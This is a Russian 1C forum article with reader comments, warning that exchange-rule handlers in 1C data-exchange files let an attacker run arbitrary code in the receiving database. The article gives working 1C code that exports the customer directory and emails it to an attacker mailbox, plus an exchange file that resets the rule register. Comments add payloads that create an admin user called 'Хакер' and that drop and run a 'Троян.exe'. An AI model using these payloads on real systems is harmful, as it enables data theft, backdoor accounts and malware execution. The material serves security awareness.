Темная сторона обмена по правилам

16.03.15

Администрирование - Информационная безопасность

Правила обмена (конвертации) используются в обменах данными повсеместно. Однако за удобство и простоту согласования разных конфигураций приходится платить потенциальной угрозой безопасности: возможностью выполнить в принимающей базе произвольный код на языке 1С.

Как известно, правила конвертации содержат обработчики различных событий обмена: перед началом загрузки, при загрузке объекта и т.п. В версиях для платформы 7.7 код этих обработчиков прописывался в обработке обмена. Платформа 8.х же добавила в арсенал программиста инструкцию "Выполнить", и, вместе с ней, возможность размещать код обработчиков непосредственно в тексте правил. А при загрузке данных правила обмена берутся из самого файла обмена (для конфигураций на БСП это не совсем так, но о них позже). И ни платформа, ни типовые конфигурации от 1С не проводят никакой проверки этих правил, кроме валидации на соответствие стандарту XML.

Проблема настолько очевидна, что и говорить-то, казалось бы, не о чем. Однако, как выяснилось, далеко не все программисты и администраторы осознают наличие бреши в безопасности, которую может создать обмен данными.

Давайте рассмотрим для примера торговую компанию со следующей организацией инфраструктуры информационных баз:

 Схема обменов

Менеджеры по закупкам и оптовым продажам работают в управлении торговлей в офисе. Также есть небольшой розничный магазин, в котором установлена базовая 1С:Розница.

Допустим, недобросовестный продавец в магазине решил за некоторое вознаграждение "слить" базу конкурентам. Какую информацию они смогут получить? Очевидно, обороты по магазину, график поставок, цены... Неприятно, но не смертельно, особенно если основной оборот компании идёт по опту.

Самое противное в этой ситуации то, что злоумышленнику станут доступны параметры выполнения обмена: адрес электронной почты для обмена и коды узлов обмена. И ничто не мешает им подменить файл выгрузки на что-нибудь такое:

<ФайлОбмена>
	<ПравилаОбмена>
		<ПослеЗагрузкиДанных>
			//тут вредоносный код
		</ПослеЗагрузкиДанных>
	</ПравилаОбмена>
	<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
</ФайлОбмена>

И при загрузке код обработчика будет выполнен, причём выполнен чаще всего в привилегированном режиме, т.е. полностью игнорируя все ограничения доступа к данным.

Что может быть в этом обработчике? Да что угодно, например

	ВремФайл = ПолучитьИмяВременногоФайла("txt");
	Запрос = Новый Запрос("Выбрать * Из Справочник.Контрагенты");
	ЗначениеВФайл(ВремФайл, Запрос.Выполнить());
	Профиль = Новый ИнтернетПочтовыйПрофиль;
	Профиль.АдресСервераPOP3 = "pop.somemail.ru";
	Профиль.АдресСервераSMTP = "smtp.somemail.ru";
	Профиль.Пароль           = "123456";
	Профиль.Пользователь     = "zloyhacker";
	Профиль.ИспользоватьSSLSMTP = Истина;
	Профиль.ПарольSMTP       = Профиль.Пароль;
	Профиль.ПользовательSMTP = Профиль.Пользователь;
	Сообщение = Новый ИнтернетПочтовоеСообщение;
	Сообщение.Получатели.Добавить("exchange@corpmail.ru");
	Сообщение.Вложения.Добавить(ВремФайл, "Контрагенты");
	Сообщение.Отправитель = "zloyhacker@somemail.ru";
	Почта = Новый ИнтернетПочта;
	Почта.Подключиться(Профиль);
	Почта.Послать(Сообщение);
	Почта.Отключиться();

И клиентская база из управления торговлей благополучно отправится к конкурентам, когда файл обмена будет принят. Аналогичным образом могут утечь и контакты поставщиков и закупочные цены, и вообще всё, что может представлять коммерческий интерес.

Кроме того, в справочнике НастройкиОбменаДанными хранятся правила для обмена с бухгалтерией, и, в случае подмены хранилища значений с правилами на аналогичные приведённым выше, много интересного может утечь и из ИБ бухгалтерии. Персональные данные сотрудников, например. А если вспомнить, что данные могут не только читаться, но и меняться... В общем, всё может стать весьма печально.

Это то, что касается типовых конфигураций на обычных формах. С конфигурациями на БСП всё несколько иначе: в подсистеме "Обмен данными" правила обмена при загрузке берутся не из файла обмена, а из регистра сведений "ПравилаДляОбменаДанными", в котором хранятся как правила для выгрузки, так и для загрузки данных. Казалось бы, проблемы больше нет, но не так всё радужно, как хотелось бы.

Если в регистр записаны пустые правила

<ПравилаОбмена>
	<ВерсияФормата>2.01</ВерсияФормата>
</ПравилаОбмена>

то при загрузке они по-прежнему будут считываться из файла обмена.

Однако, при настройке обменов БСП в обязательном порядке требует указания правил загрузки и без них не сохраняет настройку обмена. Как же они могут оказаться пустыми? Да очень просто: вспомним, что никаких проверок на соответствие данных в файле ни плану обмена, ни правилам не производится. Соотвественно, в файле могут содержаться вообще любые данные, в том числе и запись регистра сведений "ПравилаДляОбменаДанными". И, если хотя бы один раз загрузить файл обмена такого вида:

<?xml version="1.0" encoding="UTF-8"?>
<ФайлОбмена>
	<ПравилаОбмена>
		<ПослеЗагрузкиДанных>ЧтениеСообщения = Новый Структура(ЧтениеСообщения);ЧтениеСообщения.НомерСообщения = ЧтениеСообщения.ОтправительОбъект.НомерПринятого;ЧтениеСообщения = Новый ФиксированнаяСтруктура(ЧтениеСообщения)</ПослеЗагрузкиДанных>
	</ПравилаОбмена>
	<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
<НаборЗаписейРегистра Тип="РегистрСведенийНаборЗаписей.ПравилаДляОбменаДанными">
	<Отбор>
		<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
			<Значение>ПравилаКонвертацииОбъектов</Значение>
		</Свойство>
		<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
			<Значение>ОбменУправлениеТорговлейРозница</Значение>
		</Свойство>
	</Отбор>
	<СтрокиНабораЗаписей>
<Объект Тип="РегистрСведенийЗапись.ПравилаДляОбменаДанными">
	<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
		<Значение>ПравилаКонвертацииОбъектов</Значение>
	</Свойство>
	<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
		<Значение>ОбменУправлениеТорговлейРозница</Значение>
	</Свойство>
	<Свойство Имя="ПравилаЗагружены" Тип="Булево">
		<Значение>true</Значение>
	</Свойство>
	<Свойство Имя="ПравилаЗачитанные" Тип="ХранилищеЗначения">
		<Значение>#тут сериазованная в BASE64 структура правил выгрузки из данной ИБ</Значение>
	</Свойство>
	<Свойство Имя="ПравилаЗачитанныеКорреспондента" Тип="ХранилищеЗначения">
		<Значение>#тут сериазованная в BASE64 структура с пустыми правилами</Значение>
	</Свойство>
</Объект>
	</СтрокиНабораЗаписей>
</НаборЗаписейРегистра>

</ФайлОбмена>

при всех последующих загрузках правила обмена будут браться из файла и все беды, описанные для классических конфигураций проявятся во всей полноте и здесь.


Будьте внимательны и следите за безопасностью обменов.

обмен правила обмена конвертация выгрузка загрузка безопасность утечка взлом

См. также

SALE! 10%

Перенос данных 1C Программист Платформа 1С v8.3 1С:Управление производственным предприятием 1С:ERP Управление предприятием 2 1С:Управление торговлей 11 1С:Комплексная автоматизация 2.х Россия Платные (руб)

Перенос документов, начальных остатков и справочной информации из УПП 1.3 в ERP 2 | из УПП 1.3 в УТ 11 | из УПП в КА 2 | Правила конвертации (КД 2) | Более 360 предприятий выполнили переход с использованием этого продукта! | Сэкономьте время - используйте готовое решение для перехода! | Позволяет перенести из УПП 1.3 в ERP / УТ 11 / КА 2 всю возможную информацию | В переносе есть фильтр по организации и множество других опциональных параметров выгрузки | Есть несколько алгоритмов выгрузки остатков на выбор

55778 50200 руб.

04.08.2015    166497    333    277    

373

SALE! 20%

Перенос данных 1C Файловый обмен (TXT, XML, DBF), FTP Системный администратор Программист Платформа 1С v8.3 1С:Розница 2 1С:Управление нашей фирмой 1.6 1С:Бухгалтерия 3.0 1С:Управление торговлей 11 1С:Комплексная автоматизация 2.х 1С:Управление нашей фирмой 3.0 1С:Розница 3.0 Россия Платные (руб)

Правила в универсальном формате обмена для ERP 2.5, КА 2.5, УТ 11.5, БП 3.0, Розница, УНФ, для последних версий конфигураций. Ссылки на другие конфигурации в описании публикации. Правила совместимы со всеми другими версиями конфигураций новыми и старыми, поддерживающими обмен и синхронизацию в формате EnterpriseData. Не требуется синхронного обновления правил после обновления другой конфигурации, участвующей в обмене. Типовой обмен через планы обмена кнопкой Синхронизация вручную или автоматически по расписанию, или вручную обработкой.

26280 22338 руб.

12.06.2017    141544    798    297    

419

SALE! 10%

Перенос данных 1C Файловый обмен (TXT, XML, DBF), FTP Системный администратор Программист Платформа 1С v8.3 1С:Управление производственным предприятием 1С:Бухгалтерия 3.0 Россия Бухгалтерский учет Управленческий учет Платные (руб)

Перенос данных из 1С:Управление производственным предприятием 1.3 в 1С:Бухгалтерия предприятия 3.0 с помощью правил обмена. Переносятся остатки, документы (обороты за период), справочная информация. Правила проверены на конфигурациях УПП 1.3 (1.3.234.x) и БП 3.0 (3.0.161.x). Правила подходят для версии ПРОФ и КОРП.

35000 31500 руб.

15.12.2021    24036    169    51    

128

SALE! 10%

Перенос данных 1C Файловый обмен (TXT, XML, DBF), FTP Системный администратор Программист Платформа 1С v8.3 Оперативный учет 1С:Управление торговлей 10 Россия Управленческий учет Платные (руб)

Перенос данных из 1С:Управление торговлей 10.3 в 1С:Управление торговлей 11.5 с помощью правил обмена. Переносятся остатки, документы (обороты за период), справочная информация. Правила проверены на конфигурациях УТ 10.3 (10.3.88.x) и УТ 11.5 (11.5.19.x).

35000 31500 руб.

23.07.2020    51286    228    69    

185

SALE! 10%

Перенос данных 1C Файловый обмен (TXT, XML, DBF), FTP Программист Платформа 1С v8.3 Сложные периодические расчеты 1С:Комплексная автоматизация 1.х 1С:Управление производственным предприятием 1С:Зарплата и Управление Персоналом 3.x Россия Бухгалтерский учет Платные (руб)

Правила переноса кадровых и расчетных данных и справочной информации из "1С:УПП1.3" или "1С:КА 1.1" в "1С:ЗУП 3.1 | Разработан в формате КД 2 (правила конвертации данных) | При выгрузке есть фильтр по организациям | Обновляется при выходе новых релизов 1С | Развитие алгоритмов | Расчетные документы переносятся в документ "Перенос данных" | Создаются документы "Начальная штатная расстановка" и "Начальная задолженность по зарплате", переносятся кадровые документы

55778 50200 руб.

29.10.2018    56215    59    105    

61

SALE! 10%

Перенос данных 1C Файловый обмен (TXT, XML, DBF), FTP Системный администратор Программист Платформа 1С v8.3 1С:Комплексная автоматизация 1.х 1С:Управление производственным предприятием 1С:Бухгалтерия 3.0 Россия Бухгалтерский учет Платные (руб)

Перенос данных из 1С:Управление производственным предприятием 1.3 в 1С:Бухгалтерия предприятия 3.0 с помощью правил обмена | Можно выполнить переход с УПП на БП 3 или запускать выгрузку данных за выбранный период времени | Переносятся документы, начальные остатки и вся справочная информация | Есть фильтр по организации и множество других параметров выгрузки | Поддерживается несколько сценариев работы: как первичный полный перенос, так и перенос только новых документов | Перенос данных возможен в "1С: Бухгалтерия 3.0" версии ПРОФ, КОРП или базовую | Переход с "1С: УПП1.3" / "1С:КА 1.1" на "1С:БП3.0" с помощью правил конвертации будет максимально комфортным! | Можно бесплатно проверить перенос на вашем сервере!

48278 43450 руб.

25.02.2015    171180    303    257    

378

SALE! 15%

Перенос данных 1C Файловый обмен (TXT, XML, DBF), FTP Системный администратор Программист Платформа 1С v8.3 Платформа 1C v8.2 1С:Комплексная автоматизация 1.х 1С:Управление торговлей 10 1С:Управление производственным предприятием Россия Платные (руб)

Регулярный обмен, выгрузка, перенос из КА 1.1, УПП 1.3, УТ 10.3 для обмена с любыми конфигурациями, поддерживающими обмен в формате EnterpriseData (КД3) - БП 3.0, ERP, КА 2, УТ 11, Розница 2, УНФ 1.6 и другими. Правила для старых и доработанных конфигураций не требуют синхронного обновления и совместимы с новыми и будущими конфигурациями. Обмен по расписанию, через папку, FTP, почту.

15300 13005 руб.

18.02.2016    186886    589    509    

526

Перенос данных 1C Программист Бухгалтер Платформа 1С v8.3 Сложные периодические расчеты 1С:Зарплата и Управление Персоналом 3.x Россия Бухгалтерский учет НДФЛ ФОМС, ЕФС Платные (руб)

Обработки для быстрого перехода с конфигураций «КАМИН:Расчет заработной платы 3.0», «КАМИН:Зарплата для бизнеса 4.0» и «КАМИН:Зарплата 5.0» на конфигурацию «Зарплата и управление персоналом» версии 3.1.

12000 руб.

25.09.2016    80684    311    250    

264
Комментарии
Подписаться на ответы Инфостарт бот Сортировка: Древо развёрнутое
Свернуть все
1. dmpas 418 16.03.15 19:18 Сейчас в теме
Есть такая брешь :)
Пока мы её на себе не ощутили, но чувствую, что можем - есть умелые ребята в магазинах :)
Пока что единственное, что придумал, - подписывать закрытым ключом ту часть правил, которая сохраняется в файл выгрузки, и при получении пакета сравнивать подпись.
2. vano-ekt 124 16.03.15 19:34 Сейчас в теме
и для взлома достаточно будет доступа к фтп, а реквизиты доступа, как правило лежат в справочнике Настройки обмена данными. При этом обмен настроен под одним фтп пользователем с настройкой выгрузки в разные каталоги (у кого-то не так? :-) ) Сливаем базу одного филиала, и получаем доступ ко всем :)
3. CheBurator 2712 16.03.15 22:17 Сейчас в теме
Чтото у мння стойкое ощущение что стото подобное я уже чттал
Откуда содрано?
VasMart; Yashazz; EliasShy; Yimaida; dmpas; +5 Ответить
4. dmpas 418 16.03.15 22:22 Сейчас в теме
(3) CheBurator,
было-было что-то такое на Инфостарте. Сам на днях пытался вспомнить и найти, а тут вот это подвернулось :)
5. saiten 246 16.03.15 22:26 Сейчас в теме
(3) Перед тем как писать поиском прошёлся - не находил ничего. Мож, конечно, искал плохо. Тема-то на поверхности лежит, сам удивился что нету инфы.
6. Yimaida 38 16.03.15 22:52 Сейчас в теме
(5) давно такое в инете проскакивало (ссылок не дам, т.к. не записывал). Есть такое и в курсе по конвертации от Гилева и Насипова. Как вы думаете почему в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига? это все идет развитие безопасности обменов. Тема хоть и не новая, но напоминание лишним не будет, это как лишний раз сделать бэкап - не помешает.
7. Yimaida 38 16.03.15 22:58 Сейчас в теме
(6) в догонку. не весь код при обменах выполняется в привилегированном режиме. Если допилить логику при записи объектов, то можно отлавливать и обмены.
Если НЕ ЭтоГруппа И НЕ ОбменДанными.Загрузка Тогда...

8. saiten 246 16.03.15 23:01 Сейчас в теме
(6)
в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига
В новых - это в каких? В бухии 3.0.38 всё ровно так как в статье написано - правила в регистре, обработчики в правилах. В конфу ничего не прошито жестко.
9. Yimaida 38 16.03.15 23:25 Сейчас в теме
(8)
Прикрепленные файлы:
10. saiten 246 16.03.15 23:34 Сейчас в теме
(9) Сильно подозреваю, что это для модели сервиса, т.к. сегодня перед тем как опубликовать глянул в последний релиз бухии на предмет не поменялось ли чего - код чтения правил из файла был в наличии, про обработчики не смотрел, правда. Завтра постараюсь подробнее глянуть на предмет того что это и для чего.
15. saiten 246 17.03.15 09:30 Сейчас в теме
(9) Однако, я ошибся - не для работы в модели сервиса. Вот что написано в самом модуле одной из этих обработок:
////////////////////////////////////////////////////////////////////////////////
//
// Данный модуль содержит экспортные процедуры обработчиков событий конвертации
// и предназначен для отладки правил обмена.
// После отладки рекомендуется внести соответствующие исправления обработчиков
// в базе «Конвертация данных 2.0» и заново сформировать файл правил.
//
////////////////////////////////////////////////////////////­////////////////////
33. cool.vlad4 2 30.03.15 18:03 Сейчас в теме
(3) Yashazz создавал топик несколько лет назад, где спрашивал как выполнить код на клиенте. я предложил вариант с выгрузкой.(нашел вроде http://forum.infostart.ru/forum26/topic38078/message431224/#message431224 ) а потом спустя некоторое время он даже публикацию вроде делал. хотя могу тут ошибаться.
11. AlX0id 17.03.15 00:00 Сейчас в теме
а тупо паковать файлы обмена с паролем - не вариант?
16. saiten 246 17.03.15 09:36 Сейчас в теме
(11)
а тупо паковать файлы обмена с паролем - не вариант?
Один из. Но это всё же относится к защите транспортного канала. Т.е. при наличии до глубины души обиженного размером премии продавца и его друга-кулхацкера, всё необходимое, чтобы устроить в центральной базе локальный армагеддец, может формироваться в самой 1С-ке и отдаваться на вход шифрующего скрипта уже с бомбой внутри.
20. AlX0id 17.03.15 10:48 Сейчас в теме
(16) ну как бы тут уже необходимо наличие "кулхацкера", который сведущ в структуре базы предприятия. А это уже инсайдинг, от которого техническими средствами защититься крайне проблемно. Ежели так, то у того же кулхацкера есть и значительно проще пути по сливу информации..
22. saiten 246 17.03.15 10:57 Сейчас в теме
(20)
который сведущ в структуре базы предприятия
Совсем необязательно. Структура базы, как правило, в достаточной степени описывается правилами выгрузки в эту базу, остальное выясняется несколькими последовательными атаками. По-сути, это инсайд, да. Но не на центр инфраструктуры, а "скраю", так сказать. Там много сценариев возможно, на самом деле.
23. dmpas 418 17.03.15 11:04 Сейчас в теме
(20) AlX0id,
Для этого не обязателен прямо кулъ-хацкер :)
У нас среди продавцов в магазинах вдруг оказались бывшие одинэсники :):) Потому все откровенно явные дыры пришлось быстренько заткнуть после первых же случаев.
24. vasyak319 152 17.03.15 14:40 Сейчас в теме
(23) baton_pk, ИМХО, если товарисч, побывав одинэсником, предпочитает зарабатывать продавцом в магазине, то вреда от него, как программиста, на много порядков больше, чем от него же, как вредителя. Тут как в том анекдоте про фашиста и партизана: "Вас ист дас? "Гомельспичпром"? Тафай-тафай, потшигай."
12. DrAku1a 1745 17.03.15 02:52 Сейчас в теме
Платформа 8.х же добавила в арсенал программиста инструкцию "Выполнить"

А разве в 7.7 не было что-то типа "Вычислить"?
13. monkbest 114 17.03.15 08:10 Сейчас в теме
(12) DrAku1a, сама команда была и в 7.7, только в коде универсальной XML загрузки её никто не писал, а все нужные процедуры дописывали в код обработки. Это было безопаснее, но лень победила, не плодить же обработки под каждые правила обмена:)
17. saiten 246 17.03.15 09:40 Сейчас в теме
(13)
сама команда была и в 7.7

Это было безопаснее, но лень победила

Может и была, честно - не помню. Однако, функция "Вычислить" есть и в 8.х, и решает она несколько другие задачи. Выполнить последовательно несколько операторов, разделенных ";" в ней не получится. Так что, думаю, в 7.7 всё же код выносился в обработку не для безопасности, а в силу ограничений платформы.
18. saiten 246 17.03.15 09:49 Сейчас в теме
(14)Ага, смежная проблема с теми же корнями. Кстати, та тема 2013 года ещё, и уже там в комментах пишут, что баян. Дыра известна и понятна. Только воз не особо двигается, как говорится.
19. vasyak319 152 17.03.15 10:41 Сейчас в теме
(18) воз не особо двигается, потому что эта возможность хоть и реальна, но всё равно из разряда шансов получить по голове метеоритом. Люди, которые способны это провернуть и "обиженные размером премии продавцы" это очень-очень разные люди, так что даже в том маловероятном случае, что кто-то попытается, кончится это скорее всего сообщением, типа: "Какая-то фигня при загрузке файла обмена".
21. saiten 246 17.03.15 10:52 Сейчас в теме
(19) Это называется "авось пронесёт". Вполне оправданный подход, если потенциальный ущерб меньше затрат на организацию защиты.
25. ivanov660 4578 17.03.15 18:08 Сейчас в теме
Интересно статья автора появилась на основе практики?


26. saiten 246 18.03.15 10:09 Сейчас в теме
(25) Нет, реально сталкиваться не доводилось. Сугубо академический интерес, так сказать.
27. Stim213 416 23.03.15 09:50 Сейчас в теме
боян
http://infostart.ru/public/182849/
+ и у меня все проще)

(ПравилаОбмена)
(ВерсияФормата)
2.01
(/ВерсияФормата)
(Ид)
e4d7c6e2-e768-43ee-ac67-18c27fe63791
(/Ид)
(Наименование)
УправлениеТорговлей 11 --) УправлениеТорговлей 11
(/Наименование)
(ДатаВремяСоздания)
2013-04-13T21:59:02
(/ДатаВремяСоздания)
(Источник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Источник)
(Приемник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Приемник)
(ПослеЗагрузкиПравилОбмена)
УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = "Хакер"; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();
(/ПослеЗагрузкиПравилОбмена)
(Параметры/)
(Обработки/)
(ПравилаКонвертацииОбъектов/)
(ПравилаВыгрузкиДанных/)
(ПравилаОчисткиДанных/)
(Алгоритмы/)
(Запросы/)
(/ПравилаОбмена)
30. saiten 246 23.03.15 10:47 Сейчас в теме
(27) В УТ 11.1 проверяли? Правила обмена в них берутся из регистра, а не из файла, об этом есть упоминание в статье. А в остальном - да, такой вариант тоже может иметь место. Суть в общем-то статьи в том, что при построении защиты недостаточно прорабатывается обмен данными с незащищенными узлами: защищается центральный сервер, защищаются каналы связи, но не сами передаваемые данные. И с переходом на БСП ситуация не особо улучшилась. Согласитесь, ваша статья всё же несколько о другом. Хотя корни проблемы общие, согласен.
28. Stim213 416 23.03.15 09:59 Сейчас в теме
+ продавец не обязательно должен быть одинесником.
суть проста- обиженный продавец хочет продать базу конкурентам. а то и просто навредить.
продавец работает на точке.
что он делает - копирует вечерний файл выгрузки на флешку. ищет программиста, который делает из файла бомбу - либо как в сабже отправляются данные базы на мейл, либо очищаются какие-то важные данные, либо создается прямой доступ к базе. в файле можно даже прописать создание пользователя с полными правами, пакетный запуск базы под этим пользователем в конфигураторе с выгрузкой(предварительно установив блокировку соединий и ждем в цикле пока все не выйдут) и отправкой файла выгрузки куда-нить на файлообменник или на почту.

29. Stim213 416 23.03.15 10:02 Сейчас в теме
+ пакостных вариантов - куча.
самый мерзкий - бомба замедленного действия. небольшие изменения, что на протяжении пары недель будут незаметны, а когда спохватятся - окажется, что все бекапы "заражены" этими изменениями, а достоверные данные - только на бумаге.

например, в закупках/продажах рандомно изменять цены на пару копеек, подменять емейлы и номера телефонов контрагентов и пр. пр
31. asirius 114 25.03.15 18:41 Сейчас в теме
Этой дыркой еще в 2009 году пользовался
<ПослеЗагрузкиПравилОбмена>
...
УстановитьПривилегированныйРежим(Истина);
ДвоичныеДанные = BASE64Значение("....");
ДвоичныеДанные.Записать("Троян.exe");
ВыполнитьКомандуСистемы("Троян.exe");
... и понеслась...

32. saiten 246 26.03.15 15:52 Сейчас в теме
(31) Ну, под линуксом такой беспредел не проканает, конечно. А так, да. Как пользоваться дырой понятно; как её закрыть, в общем-то тоже. Непонятно, по крайней мере мне, почему на эту проблему поголовно забивается болт.
34. igor_ek_ur 04.04.15 21:10 Сейчас в теме
Не хочется расстраивать автора, но если говорить о типовом обмене на базе БСП 2.2 последних версий, то он сделан таким образом, что правила конвертации объектов источника в приемнике берутся не из файла обмена (хоть они там и есть), а из правил, зашитых в конфигурации. Можно включить режим обмена, когда, когда будут выполняться обработчики из правил, но речь не об этом сейчас. Все о чем вы написали справедливо для случаев использования настроенных правил (БСП2.2), либо обменов по более старым технологиям, либо самописных обменов. В типовых конфигурациях этой проблемы быть не должно. Теоретически... Хотя, если у организации появляется свой программист 1с, то ничего типового для такой организации больше не остается.
35. saiten 246 04.04.15 23:43 Сейчас в теме
(34) Если когда-нибудь это будет так - я не расстроюсь, а только порадуюсь :) Может быть, в последних версиях БСП что-то и поменялось, но что-то верится мне с трудом. По крайней мере, для актуальной на данный момент версии бухгалтерии проблема всё ещё в наличии.
36. MaxS 2945 14.01.16 12:38 Сейчас в теме
(35) Чтобы обсуждение не повисло в неопределенности, добавлю информацию.
В последних БСП эта проблема решилась тем, что в центральной базе хранятся правила обмена в обе стороны. И когда из периферии приходят данные, то обработчики берутся из центральной базы.
Обнаружилось это опытным путем при отладке обмена. Изменения в правилах выгрузки игнорировались принимающей базой до тех пор, пока не поменял их на стороне приемника.

А я пока в поисках как в старой УТ 10.3 подменить файл обмена перед началом его загрузки.
Научился подменять файл выгрузки правкой правил обмена. А с загрузкой пока ищу способ.
37. saiten 246 15.01.16 13:44 Сейчас в теме
(36)Конкретно в последних версиях БСП не смотрел, но по состоянию на апрель 2015 ситуация была следующая: правила обмена в обе стороны хранятся в регистре ПравилаДляОбменаДанными, однако, если прибить записи этого регистра, то правила берутся из файла. Убить эти записи можно, например, приняв файл обмена определенного вида.
Как сейчас дела обстоят дела в этом вопросе не знаю, не мониторил. Но сильно сомневаюсь, что что-либо изменилось.
Оставьте свое сообщение